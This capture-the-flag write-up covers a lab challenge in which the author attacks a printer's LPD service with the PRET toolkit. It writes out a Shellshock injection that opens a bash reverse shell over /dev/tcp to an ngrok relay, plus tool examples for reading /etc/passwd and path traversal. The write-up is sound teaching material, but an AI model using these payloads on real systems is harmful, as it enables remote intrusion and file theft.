<- HARDWARE

Line

4 minutes to read

We are told that someone found an LPD protocol running on a printer. We only have an IP address and a port. We can use PRET, which is a tool to interact with printers using PostScript, PJL or PCL (printer languages). It works with Python version 2, so let’s use a Docker container:

$ docker run --rm -v "${PWD}":/home/rocky -it python:2.7 bash
root@48962fe51979:/# pip2.7 install colorama
DEPRECATION: Python 2.7 reached the end of its life on January 1st, 2020. Please upgrade your Python as Python 2.7 is no longer maintained. A future version of pip will drop support for Python 2.7. More details about Python 2 support in pip, can be found at https://pip.pypa.io/en/latest/development/release-process/#python-2-support
Collecting colorama
  Downloading colorama-0.4.6-py2.py3-none-any.whl (25 kB)
Installing collected packages: colorama
Successfully installed colorama-0.4.6
WARNING: You are using pip version 20.0.2; however, version 20.3.4 is available.
You should consider upgrading via the '/usr/local/bin/python -m pip install --upgrade pip' command.
root@7f2628f0526a:/# python2.7 /home/rocky/PRET/pret.py 104.248.160.130:30971 pcl
      ________________
    _/_______________/|
   /___________/___//||   PRET | Printer Exploitation Toolkit v0.40
  |===        |----| ||    by Jens Mueller <jens.a.mueller@rub.de>
  |           |   ô| ||
  |___________|   ô| ||
  | ||/.´---.||    | ||      「 pentesting tool that made
  |-||/_____\||-.  | |´         dumpster diving obsolete‥ 」
  |_||=L==H==||_|__|/

     (ASCII art by
     Jan Foerster)

Connection to 104.248.160.130:30971 established
Device:   Unknown printer

Welcome to the pret shell. Type help or ? to list commands.
104.248.160.130:30971:/> ?

Available commands (type help <topic>):
=======================================
cat    debug   discover  exit  get   info  loop  open   put       site
close  delete  edit      free  help  load  ls    print  selftest  timeout

104.248.160.130:30971:/> ls
Receiving data failed (watchdog timeout)
This is a virtual pclfs. Use 'put' to upload files.

We see that we have successfully connected to a printer, but this interface is not working (neither PostScript nor PJL).

Testing LPD

Since the challenge talks about LPD, let’s use lpdtest.py from PRET:

root@7f2628f0526a:/# ls /home/rocky/PRET/
DISCLAIMER.md  capabilities.py	 codebook.pyc  discovery.py   fuzzer.py   helper.pyc  mibs	     overlays  pjl.py	      postscript.pyc  printer.pyc
LICENSE.md     capabilities.pyc  console.py    discovery.pyc  fuzzer.pyc  img	      operators.py   pcl.py    pjl.pyc	      pret.py	      testpages
README.md      codebook.py	 db	       fonts	      helper.py   lpd	      operators.pyc  pcl.pyc   postscript.py  printer.py
root@7f2628f0526a:/# ls /home/rocky/PRET/lpd
README	lpdprint.py  lpdtest.py  printerLpdList.txt
root@7f2628f0526a:/# python3 /home/rocky/PRET/lpd/lpdtest.py
usage: lpdtest [-h] [--port PORT] hostname {get,put,rm,in,mail,brute} argument
lpdtest: error: the following arguments are required: hostname, mode, argument
root@7f2628f0526a:/# python3 /home/rocky/PRET/lpd/lpdtest.py -h
usage: lpdtest [-h] [--port PORT] hostname {get,put,rm,in,mail,brute} argument

Line Printer Daemon Protocol (RFC 1179) Test.

positional arguments:
  hostname              printer ip address or hostname
  {get,put,rm,in,mail,brute}
                        select lpd proto security test
  argument              specific to test, see examples

optional arguments:
  -h, --help            show this help message and exit
  --port PORT           printer port

example usage:
  lpdtest printer get /etc/passwd
  lpdtest printer put ../../etc/passwd
  lpdtest printer rm /some/file/on/printer
  lpdtest printer in '() {:;}; ping -c1 1.2.3.4'
  lpdtest printer mail lpdtest@mailhost.local
  lpdtest printer brute ./printerLdpList.txt --port 1234

Shellshock attack

Above we see some hint to use a Shellshock attack. For some reason, it only works with Python version 3.

Let’s go straight to the point and get a reverse shell on the printer. For that, we can use ngrok:

$ ngrok tcp 4444
ngrok
Send your ngrok traffic logs to Datadog: https://ngrok.com/blog-post/datadog-logs

Session Status                online
Account                       Rocky (Plan: Free)
Version                       3.3.1
Region                        United States (us)
Latency                       100ms
Web Interface                 http://127.0.0.1:4040
Forwarding                    tcp://8.tcp.ngrok.io:11859 -> localhost:4444

Connections                   ttl     opn     rt1     rt5     p50     p90
                              1       0       0.00    0.00    304.18  304.18

$ nc -nlvp 4444
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:4444
Ncat: Listening on 0.0.0.0:4444

At this point, we can use this payload to get a reverse shell:

root@7f2628f0526a:/# python3 /home/rocky/PRET/lpd/lpdtest.py --port 30971 104.248.160.130 in '() {:;}; bash -c "bash -i >& /dev/tcp/8.tcp.ngrok.io/11859 0>&1"'
[in] Trying to send user input '() {:;}; bash -c "bash -i >& /dev/tcp/8.tcp.ngrok.io/11859 0>&1"'

And we are in:

$ nc -nlvp 4444
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 127.0.0.1:52223.
bash: no job control in this shell
bash: /root/.bashrc: Permission denied
lp@hwline-532274-9b44bbc6f-l7ds8:/$

Flag

Let’s find the flag:

lp@hwline-532274-9b44bbc6f-l7ds8:/$ find / -name flag\* 2>/dev/null
find / -name flag\* 2>/dev/null
/proc/sys/kernel/sched_domain/cpu0/domain0/flags
/proc/sys/kernel/sched_domain/cpu1/domain0/flags
/proc/sys/kernel/sched_domain/cpu2/domain0/flags
/proc/sys/kernel/sched_domain/cpu3/domain0/flags
/opt/flag.txt
/sys/devices/pnp0/00:00/tty/ttyS0/flags
/sys/devices/platform/serial8250/tty/ttyS2/flags
/sys/devices/platform/serial8250/tty/ttyS3/flags
/sys/devices/platform/serial8250/tty/ttyS1/flags
/sys/devices/virtual/net/lo/flags
/sys/devices/virtual/net/eth0/flags
lp@hwline-532274-9b44bbc6f-l7ds8:/$ cat /opt/flag.txt
cat /opt/flag.txt
HTB{l00t1ng_lpd_1s_w00t_39gc4!!}